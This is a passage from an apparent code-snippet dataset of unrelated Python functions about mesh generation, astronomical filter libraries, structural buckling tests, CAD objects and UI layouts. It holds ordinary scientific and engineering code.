np.ravel(np.add(np.repeat(bnd.ipob2, slf.nplan)\\\\\\n .reshape((bnd.npoin2, slf.nplan)),\\n bnd.npoin2*np.arange(slf.nplan)).T)\\n bnd.ikle3 = \\\\\\n np.repeat(bnd.npoin2*np.arange(slf.nplan-1),\\n bnd.nelem2*bnd.ndp3)\\\\\\n .reshape((bnd.nelem2*(slf.nplan-1), bnd.ndp3)) + \\\\\\n np.tile(np.add(np.tile(bnd.ikle2, 2),\\n np.repeat(bnd.npoin2*np.arange(2), bnd.ndp2)),\\n (slf.nplan-1, 1))\\n else:\\n bnd.ipob3 = bnd.ipob2\\n bnd.ikle3 = bnd.ikle2\\n # Mesh coordinates\\n bnd.meshx = geo.meshx[bor-1]\\n bnd.meshy = geo.meshy[bor-1]\\n\\n print(' +> writing header')\\n # Write header\\n bnd.append_header_slf()\\n\\n# <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\\n# ~~~~ writes BND core ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\\n\\n print(' +> setting variables')\\n # TIME and DATE extraction\\n bnd.datetime = slf.datetime\\n bnd.tags['times'] = slf.tags['times']\\n # VARIABLE extraction\\n list_var = varnames[0]+\\\": \\\"\\n for var in varnames[1:]:\\n list_var += \\\";\\\"+var+\\\": \\\"\\n\\n vrs = subset_variables_slf(list_var, slf.varnames)\\n\\n # Read / Write data, one time step at a time to support large files\\n print(' +> reading / writing variables')\\n pbar = ProgressBar(maxval=len(slf.tags['times'])).start()\\n zeros = np.zeros((bnd.npoin3, 1), dtype=np.float)\\n for itime in range(len(slf.tags['times'])):\\n data = get_value_history_slf(slf.file, slf.tags, [itime], support3d,\\n slf.nvar, slf.npoin3, slf.nplan, vrs)\\n data = np.reshape(np.transpose(np.reshape(np.ravel(data),\\n (bnd.nvar, bnd.npoin2,\\n bnd.nplan)),\\n (0, 2, 1)),\\n (bnd.nvar, bnd.npoin3))\\n bnd.append_core_time_slf(itime)\\n bnd.append_core_vars_slf(data)\\n pbar.update(itime)\\n pbar.finish()\\n\\n # Close bnd_file\\n bnd.fole['hook'].close()\",\n \"def CreateDummy3DMeshfrom2DMesh(self):\\n\\n self.__do_memebers_exist__()\\n\\n sys.stdout = open(os.devnull, \\\"w\\\")\\n\\n p = self.InferPolynomialDegree()\\n mm = Mesh()\\n if self.element_type == \\\"quad\\\":\\n mm.element_type = \\\"hex\\\"\\n mm.elements = np.zeros((1,int((p+1)**3))).astype(np.uint64)\\n elif self.element_type == \\\"tri\\\":\\n mm.element_type = \\\"tet\\\"\\n mm.elements = np.zeros((1,int((p+1)*(p+2)*(p+3)/6))).astype(np.uint64)\\n else:\\n raise ValueError(\\\"Cannot make a 3D mesh from the 2D mesh of type {}\\\".format(self.element_type))\\n\\n mm.edges = np.zeros((1,p+1)).astype(np.uint64)\\n mm.points = np.copy(self.points)\\n mm.nelem = 1\\n mm.nnode = mm.points.shape[0]\\n mm.faces = np.copy(self.elements)\\n mm.boundary_face_to_element = np.zeros((mm.faces.shape[0],2)).astype(np.int64)\\n mm.boundary_face_to_element[:,0] = 1\\n\\n sys.stdout = sys.__stdout__\\n\\n return mm\",\n \"def generate_surface_temp(self):\\n tcl_name = output_folder + \\\"/surface_output_\\\" + str(self.input_pdb_path).split(\\\"/\\\")[-1][0:-4] + \\\"_\\\" + str(self.current_chain) + \\\".tcl\\\"\\n opened_file = open(tcl_name, \\\"w\\\")\\n writeable_string = surface(self.input_pdb_path).surface_template(chain = str(self.current_chain))\\n opened_file.write(writeable_string)\",\n \"def New(*args, **kargs):\\n obj = itkMeshSourcePSUS3.__New_orig__()\\n import itkTemplate\\n itkTemplate.New(obj, *args, **kargs)\\n return obj\",\n \"def create_test_firmware_component(**kw):\\n fw_cmp_values = get_test_firmware_component(**kw)\\n if 'id' not in kw:\\n del fw_cmp_values['id']\\n dbapi = db_api.get_instance()\\n return dbapi.create_firmware_component(fw_cmp_values)\",\n \"def make_libfile():\\n # wfc3_obsmodes_uvis\\n wfc3_uvis = [\\n \\\"f218w\\\",\\n \\\"f225w\\\",\\n \\\"f275w\\\",\\n \\\"f336w\\\",\\n \\\"f390m\\\",\\n \\\"f390w\\\",\\n \\\"f410m\\\",\\n \\\"f438w\\\",\\n \\\"f467m\\\",\\n \\\"f475w\\\",\\n \\\"f547m\\\",\\n \\\"f555w\\\",\\n \\\"f606w\\\",\\n \\\"f621m\\\",\\n \\\"f625w\\\",\\n \\\"f689m\\\",\\n \\\"f763m\\\",\\n \\\"f775w\\\",\\n \\\"f814w\\\",\\n \\\"f845m\\\",\\n ]\\n\\n wfc3_ir = [\\n \\\"f098m\\\",\\n \\\"f105w\\\",\\n \\\"f110w\\\",\\n \\\"f125w\\\",\\n \\\"f127m\\\",\\n \\\"f139m\\\",\\n \\\"f140w\\\",\\n \\\"f153m\\\",\\n \\\"f160w\\\",\\n ]\\n\\n wfpc2 = [\\n \\\"f122m\\\",\\n \\\"f157w\\\",\\n \\\"f336w\\\",\\n \\\"f410m\\\",\\n \\\"f467m\\\",\\n \\\"f547m\\\",\\n \\\"f439w\\\",\\n \\\"f569w\\\",\\n \\\"f675w\\\",\\n \\\"f791w\\\",\\n \\\"f170w\\\",\\n \\\"f185w\\\",\\n \\\"f218w\\\",\\n \\\"f255w\\\",\\n \\\"f300w\\\",\\n \\\"f380w\\\",\\n \\\"f555w\\\",\\n \\\"f622w\\\",\\n \\\"f450w\\\",\\n \\\"f606w\\\",\\n \\\"f702w\\\",\\n \\\"f814w\\\",\\n ]\\n\\n acs_wfc = [\\n \\\"f435w\\\",\\n \\\"f475w\\\",\\n \\\"f550m\\\",\\n \\\"f555w\\\",\\n \\\"f606w\\\",\\n \\\"f625w\\\",\\n \\\"f775w\\\",\\n \\\"f814w\\\",\\n ]\\n # galex\\n galex = [\\\"fuv\\\", \\\"nuv\\\"]\\n\\n # Open hd5 file for writing\\n hf = h5py.File(__ROOT__ + \\\"filters.hd5\\\", \\\"w\\\")\\n\\n # Create group for nice hierarchical structure\\n f = hf.create_group(\\\"filters\\\")\\n\\n # Define arrays for \\\"contents\\\" / descriptive information\\n tablenames = []\\n observatories = []\\n instruments = []\\n names = []\\n norms = []\\n cwaves = []\\n pwaves = []\\n comments = []\\n\\n # Loop through WFC3_UVIS filters\\n for filt in wfc3_uvis:\\n\\n # define uvis 1 and uvis2 modes\\n mode_1 = \\\"wfc3, uvis1, \\\" + filt\\n mode_2 = \\\"wfc3, uvis2, \\\" + filt\\n\\n # pull bandpasses from stsynphot for the two uvis modes\\n bp_1 = stsyn.band(mode_1)\\n bp_2 = stsyn.band(mode_2)\\n\\n # extract the wavelength array\\n wave = bp_1.waveset\\n\\n # compute the average bandpass between uvis1 and uvis2\\n bp_avg = np.average([bp_1(wave), bp_2(wave)], axis=0)\\n\\n # define the filter name\\n filter_name = \\\"HST_WFC3_\\\" + filt.upper()\\n\\n # build array of wavelength and throughput\\n arr = np.array(\\n list(zip(wave.value.astype(np.float64), bp_avg.astype(np.float64))),\\n dtype=[(\\\"WAVELENGTH\\\", \\\"float64\\\"), (\\\"THROUGHPUT\\\", \\\"float64\\\")],\\n )\\n\\n # append dataset to the hdf5 filters group\\n f.create_dataset(filter_name, data=arr)\\n\\n # generate filter instance to compute relevant info\\n newfilt = phot.Filter(wave, bp_avg, name=filt.upper())\\n\\n # populate contents lists with relevant information\\n tablenames.append(filter_name)\\n observatories.append(\\\"HST\\\")\\n instruments.append(\\\"WFC3\\\")\\n names.append(newfilt.name)\\n norms.append(newfilt.norm.value)\\n cwaves.append(newfilt.cl.value)\\n pwaves.append(newfilt.lpivot.value)\\n comments.append(\\\"avg of uvis1 and uvis2\\\")\\n\\n # Loop through WFC3_IR filters\\n for filt in wfc3_ir:\\n\\n # define ir mode\\n mode = \\\"wfc3, ir, \\\" + filt\\n\\n # pull bandpasses from stsynphot for the two uvis modes\\n bp = stsyn.band(mode)\\n\\n # extract the wavelength array\\n wave = bp.waveset\\n\\n # define the filter name\\n filter_name = \\\"HST_WFC3_\\\" + filt.upper()\\n\\n # build array of wavelength and throughput\\n arr = np.array(\\n list(zip(wave.value.astype(np.float64), bp(wave).astype(np.float64))),\\n dtype=[(\\\"WAVELENGTH\\\", \\\"float64\\\"), (\\\"THROUGHPUT\\\", \\\"float64\\\")],\\n )\\n\\n # append dataset to the hdf5 filters group\\n f.create_dataset(filter_name, data=arr)\\n\\n # generate filter instance to compute relevant info\\n newfilt = phot.Filter(wave, bp(wave), name=filt.upper())\\n\\n # populate contents lists with relevant information\\n tablenames.append(filter_name)\\n observatories.append(\\\"HST\\\")\\n instruments.append(\\\"WFC3\\\")\\n names.append(newfilt.name)\\n norms.append(newfilt.norm.value)\\n cwaves.append(newfilt.cl.value)\\n pwaves.append(newfilt.lpivot.value)\\n comments.append(\\\"\\\")\\n\\n # Loop through WFPC2 filters\\n for filt in wfpc2:\\n\\n # define chips 1, 2, 3, 4 modes\\n mode_1 = \\\"wfpc2, 1, \\\" + filt\\n mode_2 = \\\"wfpc2, 2, \\\" + filt\\n mode_3 = \\\"wfpc2, 3, \\\" + filt\\n mode_4 = \\\"wfpc2, 4, \\\" + filt\\n\\n # pull bandpasses from stsynphot for the two uvis modes\\n bp_1 = stsyn.band(mode_1)\\n bp_2 = stsyn.band(mode_2)\\n bp_3 = stsyn.band(mode_3)\\n bp_4 = stsyn.band(mode_4)\\n\\n # extract the wavelength array\\n wave = bp_1.waveset\\n\\n # compute the average bandpass between uvis1 and uvis2\\n bp_avg = np.average([bp_1(wave), bp_2(wave), bp_3(wave), bp_4(wave)], axis=0)\\n\\n # define the filter name\\n filter_name = \\\"HST_WFPC2_\\\" + filt.upper()\\n\\n # build array of wavelength and throughput\\n arr = np.array(\\n list(zip(wave.value.astype(np.float64), bp_avg.astype(np.float64))),\\n dtype=[(\\\"WAVELENGTH\\\", \\\"float64\\\"), (\\\"THROUGHPUT\\\", \\\"float64\\\")],\\n )\\n\\n # append dataset to the hdf5 filters group\\n f.create_dataset(filter_name, data=arr)\\n\\n # generate filter instance to compute relevant info\\n newfilt = phot.Filter(wave, bp_avg, name=filt.upper())\\n\\n # populate contents lists with relevant information\\n tablenames.append(filter_name)\\n observatories.append(\\\"HST\\\")\\n instruments.append(\\\"WFPC2\\\")\\n names.append(newfilt.name)\\n norms.append(newfilt.norm.value)\\n cwaves.append(newfilt.cl.value)\\n pwaves.append(newfilt.lpivot.value)\\n comments.append(\\\"avg of 1, 2, 3, 4\\\")\\n\\n # Loop through ACS filters\\n for filt in acs_wfc:\\n\\n # define wfc1, wfc2 modes\\n mode_1 = \\\"acs, wfc1, \\\" + filt\\n mode_2 = \\\"acs, wfc2, \\\" + filt\\n\\n # pull bandpasses from stsynphot for the two uvis modes\\n bp_1 = stsyn.band(mode_1)\\n bp_2 = stsyn.band(mode_2)\\n\\n # extract the wavelength array\\n wave = bp_1.waveset\\n\\n # compute the average bandpass between uvis1 and uvis2\\n bp_avg = np.average([bp_1(wave), bp_2(wave)], axis=0)\\n\\n # define the filter name\\n filter_name = \\\"HST_ACS_WFC_\\\" + filt.upper()\\n\\n # build array of wavelength and throughput\\n arr = np.array(\\n list(zip(wave.value.astype(np.float64), bp_avg.astype(np.float64))),\\n dtype=[(\\\"WAVELENGTH\\\", \\\"float64\\\"), (\\\"THROUGHPUT\\\", \\\"float64\\\")],\\n )\\n\\n # append dataset to the hdf5 filters group\\n f.create_dataset(filter_name, data=arr)\\n\\n # generate filter instance to compute relevant info\\n newfilt = phot.Filter(wave, bp_avg, name=filt.upper())\\n\\n # populate contents lists with relevant information\\n tablenames.append(filter_name)\\n observatories.append(\\\"HST\\\")\\n instruments.append(\\\"ACS_WFC\\\")\\n names.append(newfilt.name)\\n norms.append(newfilt.norm.value)\\n cwaves.append(newfilt.cl.value)\\n pwaves.append(newfilt.lpivot.value)\\n comments.append(\\\"avg of wfc1 and wfc2\\\")\\n\\n # Loop through GALEX filters:\\n for filt in galex:\\n # define ir mode\\n mode = \\\"galex,\\\" + filt\\n\\n # pull bandpasses from stsynphot for the two uvis modes\\n bp = stsyn.band(mode)\\n\\n # extract the wavelength array\\n wave = bp.waveset\\n\\n # define the filter name\\n filter_name = \\\"GALEX_\\\" + filt.upper()\\n\\n # build array of wavelength and throughput\\n arr = np.array(\\n list(zip(wave.value.astype(np.float64), bp(wave).astype(np.float64))),\\n dtype=[(\\\"WAVELENGTH\\\", \\\"float64\\\"), (\\\"THROUGHPUT\\\", \\\"float64\\\")],\\n )\\n\\n # append dataset to the hdf5 filters group\\n f.create_dataset(filter_name, data=arr)\\n\\n # generate filter instance to compute relevant info\\n newfilt = phot.Filter(wave, bp(wave), name=filt.upper())\\n\\n # populate contents lists with relevant information\\n tablenames.append(filter_name)\\n observatories.append(\\\"GALEX\\\")\\n instruments.append(\\\"GALEX\\\")\\n names.append(newfilt.name)\\n norms.append(newfilt.norm.value)\\n cwaves.append(newfilt.cl.value)\\n pwaves.append(newfilt.lpivot.value)\\n comments.append(\\\"\\\")\\n\\n # smash the contents arrays together\\n contents = np.array(\\n list(\\n zip(\\n tablenames,\\n observatories,\\n instruments,\\n names,\\n norms,\\n cwaves,\\n pwaves,\\n comments,\\n )\\n ),\\n dtype=[\\n (\\\"TABLENAME\\\", \\\"S40\\\"),\\n (\\\"OBSERVATORY\\\", \\\"S30\\\"),\\n (\\\"INSTRUMENT\\\", \\\"S30\\\"),\\n (\\\"NAME\\\", \\\"S10\\\"),\\n (\\\"NORM\\\", \\\"<f8\\\"),\\n (\\\"CWAVE\\\", \\\"<f8\\\"),\\n (\\\"PWAVE\\\", \\\"<f8\\\"),\\n (\\\"COMMENT\\\", \\\"S100\\\"),\\n ],\\n )\\n\\n # add the contents array as an hd5 dataset\\n hf.create_dataset(\\\"content\\\", data=contents)\\n\\n # close the file\\n hf.close()\",\n \"def New(*args, **kargs):\\n obj = itkMeshSourcePSD3.__New_orig__()\\n import itkTemplate\\n itkTemplate.New(obj, *args, **kargs)\\n return obj\",\n \"def make_input_top(self) :\\n stencil_length = str(len(self.core.stencil[0,:]))\\n self.input_top = \\\\\\n \\\"LABANPEL -- poropy driver \\\\n\\\" +\\\\\\n \\\" 2 \\\" + stencil_length + \\\" \\\" + stencil_length +\\\\\\n \\\" \\\" + str(len(self.core.pattern)+1) + \\\" 0 0 2 1.0\\\\n\\\" +\\\\\\n \\\" \\\"+str(self.order)+\\\" 0 0 0 0 0 0 0 0\\\\n\\\"+\\\\\\n \\\" 1 0. 0. 0 100 10 \\\" + str(self.tolerance)+\\\" \\\" +\\\\\\n str(self.tolerance)+\\\" \\\"+str(self.tolerance) + \\\" 1.0\\\\n\\\" \\n # horizontal subdivisions \\n for i in range(0, self.dimension) :\\n self.input_top += \\\" \\\"+str(self.subdivisions[i])\\n self.input_top += \\\" \\\\n\\\"\\n # vertical subdivisions\\n for i in range(0, self.dimension) :\\n self.input_top += \\\" \\\"+str(self.subdivisions[i])\\n self.input_top += \\\" \\\\n\\\" \\n # horizontal mesh widths\\n for i in range(0, self.dimension) :\\n self.input_top += \\\" \\\"+str(self.widths[i])\\n self.input_top += \\\" \\\\n\\\" \\n # vertical mesh widths\\n for i in range(0, self.dimension) :\\n self.input_top += \\\" \\\"+str(self.widths[i])\\n self.input_top += \\\" \\\\n\\\"\",\n \"def New(*args, **kargs):\\n obj = itkMeshSourcePSF3.__New_orig__()\\n import itkTemplate\\n itkTemplate.New(obj, *args, **kargs)\\n return obj\",\n \"def __init__(self, obj, solids):\\n # Add an unique property to identify the Ship instances\\n tooltip = str(QtGui.QApplication.translate(\\n \\\"Ship\\\",\\n \\\"True if it is a valid ship instance, False otherwise\\\",\\n None,\\n QtGui.QApplication.UnicodeUTF8))\\n obj.addProperty(\\\"App::PropertyBool\\\",\\n \\\"IsShip\\\",\\n \\\"Ship\\\",\\n tooltip).IsShip = True\\n # Add the main dimensions\\n tooltip = str(QtGui.QApplication.translate(\\n \\\"Ship\\\",\\n \\\"Ship length [m]\\\",\\n None,\\n QtGui.QApplication.UnicodeUTF8))\\n obj.addProperty(\\\"App::PropertyLength\\\",\\n \\\"Length\\\",\\n \\\"Ship\\\",\\n tooltip).Length = 0.0\\n tooltip = str(QtGui.QApplication.translate(\\n \\\"Ship\\\",\\n \\\"Ship breadth [m]\\\",\\n None,\\n QtGui.QApplication.UnicodeUTF8))\\n obj.addProperty(\\\"App::PropertyLength\\\",\\n \\\"Breadth\\\",\\n \\\"Ship\\\",\\n tooltip).Breadth = 0.0\\n tooltip = str(QtGui.QApplication.translate(\\n \\\"Ship\\\",\\n \\\"Ship draft [m]\\\",\\n None,\\n QtGui.QApplication.UnicodeUTF8))\\n obj.addProperty(\\\"App::PropertyLength\\\",\\n \\\"Draft\\\",\\n \\\"Ship\\\",\\n tooltip).Draft = 0.0\\n # Add the subshapes\\n obj.Shape = Part.makeCompound(solids)\\n tooltip = str(QtGui.QApplication.translate(\\n \\\"Ship\\\",\\n \\\"Set of external faces of the ship hull\\\",\\n None,\\n QtGui.QApplication.UnicodeUTF8))\\n obj.addProperty(\\\"Part::PropertyPartShape\\\",\\n \\\"ExternalFaces\\\",\\n \\\"Ship\\\",\\n tooltip)\\n tooltip = str(QtGui.QApplication.translate(\\n \\\"Ship\\\",\\n \\\"Set of weight instances\\\",\\n None,\\n QtGui.QApplication.UnicodeUTF8))\\n obj.addProperty(\\\"App::PropertyStringList\\\",\\n \\\"Weights\\\",\\n \\\"Ship\\\",\\n tooltip).Weights = []\\n tooltip = str(QtGui.QApplication.translate(\\n \\\"Ship\\\",\\n \\\"Set of tank instances\\\",\\n None,\\n QtGui.QApplication.UnicodeUTF8))\\n obj.addProperty(\\\"App::PropertyStringList\\\",\\n \\\"Tanks\\\",\\n \\\"Ship\\\",\\n tooltip).Tanks = []\\n\\n obj.Proxy = self\",\n \"def __init__(self, fluid_domain, structure, io_data):\\n super().__init__(fluid_domain, structure, io_data)\\n\\n self.intersector = Intersector(self.fluid_domain, self.structure)\\n #self.ghost_nodes = np.empty(shape=[self.fluid_domain.nverts, 8],dtype=float)\\n self.ghost_nodes = np.empty(shape=[self.fluid_domain.nverts, 3], dtype=float)\",\n \"def CreateSurface2DMeshfrom3DMesh(self):\\n\\n self.__do_memebers_exist__()\\n\\n p = self.InferPolynomialDegree()\\n mm = Mesh()\\n if self.element_type == \\\"hex\\\":\\n mm.element_type = \\\"quad\\\"\\n elif self.element_type == \\\"tet\\\":\\n mm.element_type = \\\"tri\\\"\\n else:\\n raise ValueError(\\\"Cannot make a 2D mesh from the 3D mesh of type {}\\\".format(self.element_type))\\n\\n unique_faces, inv_faces = np.unique(self.faces,return_inverse=True)\\n mm.points = self.points[unique_faces,:]\\n mm.nnode = mm.points.shape[0]\\n aranger = np.arange(mm.nnode)\\n mm.elements = aranger[inv_faces].reshape(self.faces.shape)\\n mm.nelem = mm.elements.shape[0]\\n mm.GetBoundaryEdges()\\n\\n return mm\",\n \"def test_linear_buckling_iso_CCSS(plot_static=False, plot_lb=False):\\n # number of nodes\\n nx = 5 # along x\\n ny = 5 # along y\\n\\n # getting integration points\\n nint = 4\\n points, weights = get_points_weights(nint=nint)\\n\\n # geometry\\n a = 3 # along x\\n b = 3 # along y\\n\\n # material properties\\n E = 200e9\\n nu = 0.3\\n laminaprop = (E, E, nu)\\n stack = [0]\\n h = 0.001\\n lam = read_stack(stack=stack, plyt=h, laminaprop=laminaprop)\\n\\n # creating mesh\\n x = np.linspace(0, a, nx)\\n y = np.linspace(0, b, ny)\\n xmesh, ymesh = np.meshgrid(x, y)\\n\\n # node coordinates and position in the global matrix\\n ncoords = np.vstack((xmesh.T.flatten(), ymesh.T.flatten())).T\\n nids = 1 + np.arange(ncoords.shape[0])\\n nid_pos = dict(zip(nids, np.arange(len(nids))))\\n\\n # identifying nodal connectivity for plate elements\\n # similar than Nastran's CQUAD4\\n #\\n # ^ y\\n # |\\n #\\n # 4 ________ 3\\n # | |\\n # | | --> x\\n # | |\\n # |_______|\\n # 1 2\\n\\n\\n nids_mesh = nids.reshape(nx, ny)\\n n1s = nids_mesh[:-1, :-1].flatten()\\n n2s = nids_mesh[1:, :-1].flatten()\\n n3s = nids_mesh[1:, 1:].flatten()\\n n4s = nids_mesh[:-1, 1:].flatten()\\n\\n num_elements = len(n1s)\\n print('num_elements', num_elements)\\n\\n N = DOF*nx*ny\\n Kr = np.zeros(KC0_SPARSE_SIZE*num_elements, dtype=INT)\\n Kc = np.zeros(KC0_SPARSE_SIZE*num_elements, dtype=INT)\\n Kv = np.zeros(KC0_SPARSE_SIZE*num_elements, dtype=DOUBLE)\\n KGr = np.zeros(KG_SPARSE_SIZE*num_elements, dtype=INT)\\n KGc = np.zeros(KG_SPARSE_SIZE*num_elements, dtype=INT)\\n KGv = np.zeros(KG_SPARSE_SIZE*num_elements, dtype=DOUBLE)\\n init_k_KC0 = 0\\n init_k_KG = 0\\n\\n plates = []\\n for n1, n2, n3, n4 in zip(n1s, n2s, n3s, n4s):\\n plate = BFSPlate2D()\\n plate.n1 = n1\\n plate.n2 = n2\\n plate.n3 = n3\\n plate.n4 = n4\\n plate.c1 = DOF*nid_pos[n1]\\n plate.c2 = DOF*nid_pos[n2]\\n plate.c3 = DOF*nid_pos[n3]\\n plate.c4 = DOF*nid_pos[n4]\\n plate.ABD = lam.ABD\\n plate.lex = a/(nx - 1)\\n plate.ley = b/(ny - 1)\\n plate.init_k_KC0 = init_k_KC0\\n plate.init_k_KG = init_k_KG\\n update_KC0(plate, points, weights, Kr, Kc, Kv)\\n init_k_KC0 += KC0_SPARSE_SIZE\\n init_k_KG += KG_SPARSE_SIZE\\n plates.append(plate)\\n\\n KC0 = coo_matrix((Kv, (Kr, Kc)), shape=(N, N)).tocsc()\\n\\n # applying boundary conditions\\n\\n # locating nodes\\n bk = np.zeros(KC0.shape[0], dtype=bool) # constrained DOFs, can be used to prescribe displacements\\n\\n x = ncoords[:, 0]\\n y = ncoords[:, 1]\\n\\n # applying boundary conditions\\n # simply supported\\n check = isclose(x, 0) | isclose(x, a) | isclose(y, 0) | isclose(y, b)\\n bk[2::DOF] = check\\n check = isclose(x, 0) | isclose(x, a)\\n bk[3::DOF] = check\\n # point supports\\n check = isclose(x, a/2) & (isclose(y, 0) | isclose(y, b))\\n bk[0::DOF] = check\\n check = isclose(y, b/2) & (isclose(x, 0) | isclose(x, a))\\n bk[1::DOF] = check\\n\\n # unconstrained nodes\\n bu = ~bk # logical_not\\n\\n # defining external force vector\\n fext = np.zeros(KC0.shape[0], dtype=float)\\n\\n # applying unitary load along u at x=a\\n # nodes at vertices get 1/2 the force\\n for plate in plates:\\n pos1 = nid_pos[plate.n1]\\n pos2 = nid_pos[plate.n2]\\n pos3 = nid_pos[plate.n3]\\n pos4 = nid_pos[plate.n4]\\n if isclose(x[pos3], a):\\n Nxx = -1\\n xi = +1\\n elif isclose(x[pos1], 0):\\n Nxx = +1\\n xi = -1\\n else:\\n continue\\n lex = plate.lex\\n ley = plate.ley\\n indices = []\\n c1 = DOF*pos1\\n c2 = DOF*pos2\\n c3 = DOF*pos3\\n c4 = DOF*pos4\\n cs = [c1, c2, c3, c4]\\n for ci in cs:\\n for i in range(DOF):\\n indices.append(ci + i)\\n fe = np.zeros(4*DOF, dtype=float)\\n for j in range(nint):\\n eta = points[j]\\n plate.update_Nu(xi, eta)\\n Nu = np.asarray(plate.Nu)\\n fe += ley/2*weights[j]*Nu*Nxx\\n fext[indices] += fe\\n\\n Kuu = KC0[bu, :][:, bu]\\n fextu = fext[bu]\\n\\n # static solver\\n uu = spsolve(Kuu, fextu)\\n u = np.zeros(KC0.shape[0], dtype=float)\\n u[bu] = uu\\n\\n if plot_static:\\n import matplotlib\\n matplotlib.use('TkAgg')\\n import matplotlib.pyplot as plt\\n plt.gca().set_aspect('equal')\\n uplot = u[0::DOF].reshape(nx, ny).T\\n vplot = u[1::DOF].reshape(nx, ny).T\\n print('u extremes', uplot.min(), uplot.max())\\n print('v extremes', vplot.min(), vplot.max())\\n levels = np.linspace(uplot.min(), uplot.max(), 300)\\n plt.contourf(xmesh, ymesh, uplot, levels=levels)\\n plt.colorbar()\\n plt.show()\\n\\n # eigenvalue solver\\n\\n # getting integration points\\n for plate in plates:\\n update_KG(u, plate, points, weights, KGr, KGc, KGv)\\n KG = coo_matrix((KGv, (KGr, KGc)), shape=(N, N)).tocsc()\\n KGuu = KG[bu, :][:, bu]\\n\\n # solving modified generalized eigenvalue problem\\n # Original: (KC0 + lambda*KG)*v = 0\\n # Modified: (-1/lambda)*KC0*v = KG*v #NOTE here we find (-1/lambda)\\n num_eigenvalues = 5\\n eigvals, eigvecsu = eigsh(A=KGuu, k=num_eigenvalues, which='SM', M=Kuu,\\n tol=1e-6, sigma=1., mode='cayley')\\n eigvals = -1./eigvals\\n eigvecs = np.zeros((KC0.shape[0], num_eigenvalues), dtype=float)\\n eigvecs[bu, :] = eigvecsu\\n\\n if plot_lb:\\n import matplotlib\\n matplotlib.use('TkAgg')\\n import matplotlib.pyplot as plt\\n plt.gca().set_aspect('equal')\\n mode = 0\\n wplot = eigvecs[2::DOF, mode].reshape(nx, ny).T\\n levels = np.linspace(wplot.min(), wplot.max(), 300)\\n plt.contourf(xmesh, ymesh, wplot, levels=levels)\\n plt.colorbar()\\n plt.show()\\n\\n kc = eigvals[0]/(E*np.pi**2*(h/b)**2/(12*(1 - nu**2))*h)\\n assert isclose(kc, 6.6, rtol=0.05)\",\n \"def __init__(self, params):\\n super().__init__(params)\\n params = self.params\\n\\n assert not params.packed_input, 'Packed input not implemented yet.'\\n\\n if not params.rel_pos_radius:\\n raise ValueError('Invalid rel_pos_radius: %s' % params.rel_pos_radius)\\n\\n if params.rel_pos_emb_dim is None:\\n rel_pos_emb_dim = params.hidden_dim\\n else:\\n rel_pos_emb_dim = params.rel_pos_emb_dim\\n\\n rel_pos_emb_tpl = layers.RelativePositionalEmbeddingLayer.Params().Set(\\n radius=params.rel_pos_radius, dim=rel_pos_emb_dim)\\n if rel_pos_emb_dim != params.hidden_dim:\\n # Projection layer for relative position encoding\\n dim_per_head = params.hidden_dim // params.num_heads\\n pos_proj_tpl = params.proj_tpl.Copy().Set(\\n input_dim=rel_pos_emb_dim,\\n num_heads=params.num_heads,\\n dim_per_head=dim_per_head,\\n use_bias=False)\\n else:\\n pos_proj_tpl = None\\n\\n self.CreateChild('key_emb', rel_pos_emb_tpl)\\n # Add projection layer if rel_pos_emb_dim is different from hidden_dim.\\n if pos_proj_tpl is not None:\\n self.CreateChild('key_pos_proj', pos_proj_tpl)\\n if not params.skip_value_emb:\\n self.CreateChild('value_emb', rel_pos_emb_tpl)\\n if pos_proj_tpl is not None:\\n self.CreateChild('value_pos_proj', pos_proj_tpl)\\n self.CreateChild('pos_atten_logits', params.pos_atten_logits_tpl)\",\n \"def on_load(self):\\n filename = QtGui.QFileDialog.getOpenFileName(self, \\\"Open file\\\", \\\"\\\", \\\"*.scc\\\")\\n print(\\\"Load file \\\", filename)\\n if filename == \\\"\\\":\\n return\\n f = open(filename, mode=\\\"rb\\\")\\n state = pickle.load(f)\\n f.close() \\n cmp = ComponentRect()\\n cmp.set_state(state)\\n self.mdl.set_component(cmp)\",\n \"def __init__(self):\\n self.label = \\\"Surface Generation\\\"\\n self.alias = \\\"far77\\\"\\n\\n # List of tool classes associated with this toolbox\\n self.tools = [LineToFar77]\",\n \"def __init__(self, fluid_domain, structure, io_data):\\n super().__init__(fluid_domain, structure, io_data)\\n\\n self.intersector = Intersector(self.fluid_domain, self.structure)\\n #self.ghost_nodes = np.empty(shape=[self.fluid_domain.nverts, 8],dtype=float)\\n self.ghost_nodes = np.empty(shape=[self.fluid_domain.nverts, 6], dtype=float)\",\n \"def createUI(self):\\n\\n q.getQItem(windowID, QtWidgets.QWidget)\\n cmds.setParent(q.fullPath)\\n\\n # ################################################\\n # Active Render Layer\\n\\n # cmds.separator(height=12, style='none')\\n addFrameLayout(\\n '%s_frameLayoutLayers' % windowID,\\n 'Visible Render Layer', collapsable=False,\\n labelVisible=False,\\n marginHeight=0\\n )\\n\\n addRowLayout(\\n '%s_rowLayoutActiveRenderLayer' % windowID,\\n 4,\\n columnAlign4=('left', 'left', 'right', 'right'),\\n columnAttach4=('left', 'both', 'right', 'right'),\\n columnWidth4=(\\n (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.075,\\n (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.775,\\n (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.075,\\n (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.075\\n )\\n )\\n\\n\\n addButton('%s_addNewLayer' % windowID, 'New', rsAddNewLayer,\\n image='RS_create_layer', size=(21, 21))\\n addOptionMenu('%s_selectActiveLayer' % windowID,\\n 'Active Layer ', (), rsSelectActiveLayer)\\n addButton('rsOpenRenderSetupWindow', 'Render Setup',\\n rsOpenRenderSetupWindow, image='render_setup.png',\\n size=(21, 21))\\n addButton('rsOpenUnifiedRenderGlobals', 'Render Globals',\\n rsOpenUnifiedRenderGlobals, image='render_setup.png',\\n size=(21, 21))\\n\\n # ################################################\\n # Work Render Layers\\n\\n cmds.setParent(q.fullPath)\\n addFrameLayout('%s_frameLayoutLayersB' % windowID,\\n 'Work Render Layer', collapsable=False,\\n labelVisible=False, marginHeight=0)\\n addRowLayout('%s_rowLayoutVisibleRenderLayer' % windowID, 3,\\n columnAlign3=('left', 'left', 'right'),\\n columnAttach3=('left', 'both', 'right'),\\n columnWidth3=((WINDOW_WIDTH - FRAME_MARGIN * 2)\\n * 0.075, (WINDOW_WIDTH - FRAME_MARGIN * 2) * 